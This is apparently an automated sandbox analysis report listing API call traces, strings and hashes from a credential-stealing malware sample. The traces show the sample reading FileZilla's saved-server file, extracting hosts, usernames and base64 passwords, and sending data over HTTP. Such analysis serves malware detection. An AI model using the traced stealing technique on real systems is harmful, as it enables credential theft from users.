GetProcAddress.KERNEL32(006D72B8,006D700C), ref: 024A9F7C
GetProcAddress.KERNEL32(006D72B8,006D6AB0), ref: 024A9F95
GetProcAddress.KERNEL32(006D72B8,@}), ref: 024A9FAD
GetProcAddress.KERNEL32(006D72B8,8i}), ref: 024A9FC5
GetProcAddress.KERNEL32(006D72B8,006D6E18), ref: 024A9FDE
GetProcAddress.KERNEL32(006D72B8,h}), ref: 024A9FF6
GetProcAddress.KERNEL32(006D72B8,Xl}), ref: 024AA00E
GetProcAddress.KERNEL32(006D72B8,p}), ref: 024AA027
GetProcAddress.KERNEL32(006D72B8,006D6CB0), ref: 024AA03F
LoadLibraryA.KERNEL32(006D6F50,?,024A6F07), ref: 024AA051
LoadLibraryA.KERNEL32(006D6B7C,?,024A6F07), ref: 024AA062
LoadLibraryA.KERNEL32(006D6B04,?,024A6F07), ref: 024AA074
LoadLibraryA.KERNEL32(X},?,024A6F07), ref: 024AA086
LoadLibraryA.KERNEL32(006D6D28,?,024A6F07), ref: 024AA097
GetProcAddress.KERNEL32(006D70DC,006D6EAC), ref: 024AA0B9
GetProcAddress.KERNEL32(006D71FC,006D6E24), ref: 024AA0DA
GetProcAddress.KERNEL32(006D71FC,H}), ref: 024AA0F2
GetProcAddress.KERNEL32(006D72EC,`}), ref: 024AA114
GetProcAddress.KERNEL32(006D71B0,xk}), ref: 024AA135
GetProcAddress.KERNEL32(006D71E0,006D6E14), ref: 024AA156
GetProcAddress.KERNEL32(006D71E0,0042072C), ref: 024AA16D

Strings

8l}, xrefs: 024A9EF5, 024A9EFB
h}, xrefs: 024A9FE9, 024A9FEE
H}, xrefs: 024AA0E5, 024AA0EB
8}, xrefs: 024A9E4B, 024A9E51
@}, xrefs: 024A9FA0, 024A9FA5
p}, xrefs: 024AA019, 024AA01F
X}, xrefs: 024AA07F, 024AA085
Xl}, xrefs: 024AA001, 024AA007
xk}, xrefs: 024AA128, 024AA12D
8i}, xrefs: 024A9FB8, 024A9FBE
}, xrefs: 024A9F0E, 024A9F13
`}, xrefs: 024AA106, 024AA10C
}, xrefs: 024A9E31, 024A9E36
P}, xrefs: 024A9E7C, 024A9E81
0}, xrefs: 024A9EAC, 024A9EB2

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0}$8i}$8l}$8}$@}$H}$P}$Xl}$X}$`}$h}$p}$xk}$}$}
API String ID: 2238633743-231196557
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: ec34e7e6d9fddd2799ede0aa9ee51056d20d19a7e8dbe036d0c72520951e5aad
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 91A15EB5D0A254AFC344DFA8FC889567BBBA74D301718A61BF909C3674E734A640CF62

Function 004103B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

strtok_s.MSVCRT ref: 0041047B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 004104C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004104C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004104E5
lstrlenA.KERNEL32(00000000), ref: 004104F3

Part of subcall function 00418A70: malloc.MSVCRT ref: 00418A78
Part of subcall function 00418A70: strncpy.MSVCRT ref: 00418A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041052F
lstrlenA.KERNEL32(00000000), ref: 0041053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410579
lstrlenA.KERNEL32(00000000), ref: 00410587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004105C3
lstrlenA.KERNEL32(00000000), ref: 004105D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 00410662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 004106AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 004106C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 004106D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 004106E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004106F3
lstrcatA.KERNEL32(?,00421770,?,?,00000000), ref: 00410702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410715
lstrcatA.KERNEL32(?,00421774,?,?,00000000), ref: 00410724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00410733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410746
lstrcatA.KERNEL32(?,00421780,?,?,00000000), ref: 00410755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410777
lstrcatA.KERNEL32(?,00421790,?,?,00000000), ref: 00410786
lstrcatA.KERNEL32(?,00421794,?,?,00000000), ref: 00410795
strtok_s.MSVCRT ref: 004107D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004107EE
memset.MSVCRT ref: 0041083D

Strings

browser: FileZilla, xrefs: 004106B9
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00410404
<Port>, xrefs: 00410526
profile: null, xrefs: 004106C8
url: , xrefs: 004106D7
<Host>, xrefs: 004104DC
login: , xrefs: 0041072A
<User>, xrefs: 00410570
<Pass encoding="base64">, xrefs: 004105BA
password: , xrefs: 0041075B

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 6e90ae05d6e6b3d957251ceefe957b6532e80830f3fc52a77774b8fa8a6e4d93
Instruction ID: 8daa67574ba642934e37c5269d194fb48a2cec37eebf9d0dac7d381e96a5dd97
Opcode Fuzzy Hash: 6e90ae05d6e6b3d957251ceefe957b6532e80830f3fc52a77774b8fa8a6e4d93
Instruction Fuzzy Hash: 65D17271E01108ABCB04EBF0ED56EEE7339AF54315F50855AF102B7095EF38AA94CB69

Function 004059B0 Relevance: 51.2, APIs: 19, Strings: 10, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,007E6F18), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,007E6FD8,00000000,?,007DA0F0,00000000,?,00421B4C), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,007E6E98,?,007E65E8,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405D9C
------, xrefs: 00405AE6
(n~, xrefs: 00405CFC
------, xrefs: 00405C5B
", xrefs: 00405D25
", xrefs: 00405E66
S`A, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
}, xrefs: 00405B90
e~, xrefs: 00405C2F
S`A, xrefs: 004060CA

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: }$"$"$(n~$------$------$------$S`A$S`A$e~
API String ID: 1406981993-3714845670
Opcode ID: 6afbfcdbf8301ece8e06907f3b256f8dabd01e660973de9845782a684cb7675b
Instruction ID: 528bda5bfb4e43d7cafc1c43cb8ffcda3f2e6465d8e228b0a039cdd5195e34d5
Opcode Fuzzy Hash: 6afbfcdbf8301ece8e06907f3b256f8dabd01e660973de9845782a684cb7675b
Instruction Fuzzy Hash: 1412FC71925128ABCB14EBA1DCA5FEEB379BF14714F00419EF10662091EF783B98CB59

Function 02494877 Relevance: 51.1, APIs: 34, Instructions: 114stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00424EC0), ref: 02494883
lstrlen.KERNEL32(00424F70), ref: 0249488E
lstrlen.KERNEL32(00425038), ref: 02494899
lstrlen.KERNEL32(004250F0), ref: 024948A4
lstrlen.KERNEL32(00425198), ref: 024948AF
GetProcessHeap.KERNEL32(00000000,?), ref: 024948BE
RtlAllocateHeap.NTDLL(00000000), ref: 024948C5
lstrlen.KERNEL32(00425240), ref: 024948D3
lstrlen.KERNEL32(004252E8), ref: 024948DE
lstrlen.KERNEL32(00425390), ref: 024948E9
lstrlen.KERNEL32(00425438), ref: 024948F4
lstrlen.KERNEL32(004254E0), ref: 024948FF
lstrlen.KERNEL32(00425588), ref: 02494913
lstrlen.KERNEL32(00425630), ref: 0249491E
lstrlen.KERNEL32(004256D8), ref: 02494929
lstrlen.KERNEL32(00425780), ref: 02494934
lstrlen.KERNEL32(00425828), ref: 0249493F
lstrlen.KERNEL32(004258D0), ref: 02494968
lstrlen.KERNEL32(00425978), ref: 02494973
lstrlen.KERNEL32(00425A40), ref: 0249497E
lstrlen.KERNEL32(00425AE8), ref: 02494989
lstrlen.KERNEL32(00425B90), ref: 02494994
strlen.MSVCRT ref: 024949A7
lstrlen.KERNEL32(00425C38), ref: 024949CF
lstrlen.KERNEL32(00425CE0), ref: 024949DA
lstrlen.KERNEL32(00425D88), ref: 024949E5
lstrlen.KERNEL32(00425E30), ref: 024949F0
lstrlen.KERNEL32(00425ED8), ref: 024949FB
lstrlen.KERNEL32(00425F80), ref: 02494A0B
lstrlen.KERNEL32(00426028), ref: 02494A16
lstrlen.KERNEL32(004260D0), ref: 02494A21
lstrlen.KERNEL32(00426178), ref: 02494A2C
lstrlen.KERNEL32(00426220), ref: 02494A37
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 02494A53

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID:
API String ID: 2127927946-0
Opcode ID: 5eea1aac99bf7e535a43d37b45fc3319ad1af7de06c44669e1522cdce20b9fba
Instruction ID: fa7fd309a6b75893c56715c1dc40dcc33e8866f2dada0553ea8e5e9e591fe02a
Opcode Fuzzy Hash: 5eea1aac99bf7e535a43d37b45fc3319ad1af7de06c44669e1522cdce20b9fba
Instruction Fuzzy Hash: 67410C79740624ABD7109FE5FC4DAD8BF70AB4C711BA08062F90A89150CBF593859B7D

Function 024A0617 Relevance: 48.4, APIs: 32, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 0249A377: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0249A3A3
Part of subcall function 0249A377: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0249A3C8
Part of subcall function 0249A377: LocalAlloc.KERNEL32(00000040,?), ref: 0249A3E8
Part of subcall function 0249A377: ReadFile.KERNEL32(000000FF,?,00000000,024916F6,00000000), ref: 0249A411
Part of subcall function 0249A377: LocalFree.KERNEL32(024916F6), ref: 0249A447
Part of subcall function 0249A377: CloseHandle.KERNEL32(000000FF), ref: 0249A451

Part of subcall function 024A9227: LocalAlloc.KERNEL32(00000040,-00000001), ref: 024A9249

strtok_s.MSVCRT ref: 024A06E2
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 024A0729
RtlAllocateHeap.NTDLL(00000000), ref: 024A0730
StrStrA.SHLWAPI(00000000,00421710), ref: 024A074C
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A075A

Part of subcall function 024A8CD7: malloc.MSVCRT ref: 024A8CDF
Part of subcall function 024A8CD7: strncpy.MSVCRT ref: 024A8CFA

StrStrA.SHLWAPI(00000000,00421718), ref: 024A0796
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A07A4
StrStrA.SHLWAPI(00000000,00421720), ref: 024A07E0
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A07EE
StrStrA.SHLWAPI(00000000,00421728), ref: 024A082A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A083C
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A08C9
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A08E1
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A08F9
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A0911
lstrcat.KERNEL32(?,00421744), ref: 024A0929
lstrcat.KERNEL32(?,00421758), ref: 024A0938
lstrcat.KERNEL32(?,00421768), ref: 024A0947
lstrcat.KERNEL32(?,00000000), ref: 024A095A
lstrcat.KERNEL32(?,00421770), ref: 024A0969
lstrcat.KERNEL32(?,00000000), ref: 024A097C
lstrcat.KERNEL32(?,00421774), ref: 024A098B
lstrcat.KERNEL32(?,00421778), ref: 024A099A
lstrcat.KERNEL32(?,00000000), ref: 024A09AD
lstrcat.KERNEL32(?,00421780), ref: 024A09BC
lstrcat.KERNEL32(?,00421784), ref: 024A09CB
lstrcat.KERNEL32(?,00000000), ref: 024A09DE
lstrcat.KERNEL32(?,00421790), ref: 024A09ED
lstrcat.KERNEL32(?,00421794), ref: 024A09FC
strtok_s.MSVCRT ref: 024A0A40
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 024A0A55
memset.MSVCRT ref: 024A0AA4

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeapstrtok_s$AllocateCloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID:
API String ID: 3689735781-0
Opcode ID: 098dc5743905a2ee9813f64f0b56af725ff5a500f78c5c8fd9e9f659a4e17eb6
Instruction ID: 198deb9f47ec645904d0c269418e042abd2439dbd04fcf40a336afd610c071cc
Opcode Fuzzy Hash: 098dc5743905a2ee9813f64f0b56af725ff5a500f78c5c8fd9e9f659a4e17eb6
Instruction Fuzzy Hash: DDD12F71D01228ABCB04EBF1DD65EEE773AAF64701F50855EF146A6090EF34AA48CF61

Function 02495C17 Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AA1
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AB8
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494ACF
Part of subcall function 02494A67: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02494AF0
Part of subcall function 02494A67: InternetCrackUrlA.WININET(00000000,00000000), ref: 02494B00

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 02495CAF
StrCmpCA.SHLWAPI(?,006D6E80), ref: 02495CCA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02495E4A
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421B50,00000000,?,006D6AF0,00000000,?,006D6CF0,00000000,?,00421B4C), ref: 02496128
lstrlen.KERNEL32(00000000), ref: 02496139
GetProcessHeap.KERNEL32(00000000,?), ref: 0249614A
RtlAllocateHeap.NTDLL(00000000), ref: 02496151
lstrlen.KERNEL32(00000000), ref: 02496166
memcpy.MSVCRT(?,00000000,00000000), ref: 0249617D
lstrlen.KERNEL32(00000000), ref: 0249618F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 024961A8
memcpy.MSVCRT(?), ref: 024961B5
lstrlen.KERNEL32(00000000,?,?), ref: 024961D2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 024961E6
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 02496203
InternetCloseHandle.WININET(00000000), ref: 02496267
InternetCloseHandle.WININET(00000000), ref: 02496274
HttpOpenRequestA.WININET(00000000,006D6E9C,?,e~,00000000,00000000,00400100,00000000), ref: 02495EAF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

InternetCloseHandle.WININET(00000000), ref: 0249627E

Strings

}, xrefs: 02495DF7, 02495DFD
(n~, xrefs: 02495F63, 02495F68
e~, xrefs: 02495E96, 02495E9C

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocateConnectCrackFileProcessReadSend
String ID: }$(n~$e~
API String ID: 1703137719-1309199905
Opcode ID: 2a3c1412926e8dcb65fac1fead3eb2460a9c625ebd483e9c6d5746682fc61762
Instruction ID: 62fc1d72cb1fcd4f7031ececa5021dfc60bb7f526ac94fb2f5a0b8e1df41aa3c
Opcode Fuzzy Hash: 2a3c1412926e8dcb65fac1fead3eb2460a9c625ebd483e9c6d5746682fc61762
Instruction Fuzzy Hash: 6512E0B1951138ABCB19EBA1DCA4FEEB77ABF24701F50459EE14666090EF702A48CF50

Function 0249D257 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024A8F57: GetSystemTime.KERNEL32(00420E1B,006D6CA4,004205B6,?,?,02491660,?,0000001A,00420E1B,00000000,?,006D6BF0,?,004250DC,00420E1A), ref: 024A8F7D

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0249D2EA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0249D42E
RtlAllocateHeap.NTDLL(00000000), ref: 0249D435
lstrcat.KERNEL32(?,00000000), ref: 0249D56F
lstrcat.KERNEL32(?,00421570), ref: 0249D57E
lstrcat.KERNEL32(?,00000000), ref: 0249D591
lstrcat.KERNEL32(?,00421574), ref: 0249D5A0
lstrcat.KERNEL32(?,00000000), ref: 0249D5B3
lstrcat.KERNEL32(?,00421578), ref: 0249D5C2
lstrcat.KERNEL32(?,00000000), ref: 0249D5D5
lstrcat.KERNEL32(?,0042157C), ref: 0249D5E4
lstrcat.KERNEL32(?,00000000), ref: 0249D5F7
lstrcat.KERNEL32(?,00421580), ref: 0249D606
lstrcat.KERNEL32(?,00000000), ref: 0249D619
lstrcat.KERNEL32(?,00421584), ref: 0249D628
lstrcat.KERNEL32(?,00000000), ref: 0249D63B
lstrcat.KERNEL32(?,00421588), ref: 0249D64A

Part of subcall function 024AAD97: lstrlen.KERNEL32(024951BC,?,?,024951BC,00420DDF), ref: 024AADA2
Part of subcall function 024AAD97: lstrcpy.KERNEL32(00420DDF,00000000), ref: 024AADFC

lstrlen.KERNEL32(?), ref: 0249D691
lstrlen.KERNEL32(?), ref: 0249D6A0
memset.MSVCRT ref: 0249D6EF

Part of subcall function 024AAFE7: StrCmpCA.SHLWAPI(00000000,00421568,0249D509,00421568,00000000), ref: 024AB006

DeleteFileA.KERNEL32(00000000), ref: 0249D71B

Strings

`Q~, xrefs: 0249D26D, 0249D272

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID: `Q~
API String ID: 1973479514-2743804444
Opcode ID: 61858acd6518aa59b0545b41e6e8699b4742c055ec598c9622ee146424d88619
Instruction ID: f810888b425b0a9c0d37f93bcf5eab6a09f27ab1f003b9ea877f6cdea23c4b41
Opcode Fuzzy Hash: 61858acd6518aa59b0545b41e6e8699b4742c055ec598c9622ee146424d88619
Instruction Fuzzy Hash: C0E122B1D01124ABCB08EBA1DD65DEE773AAF24301F50455EF146B61A0EF35AE48CF61

Function 0040CFF0 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

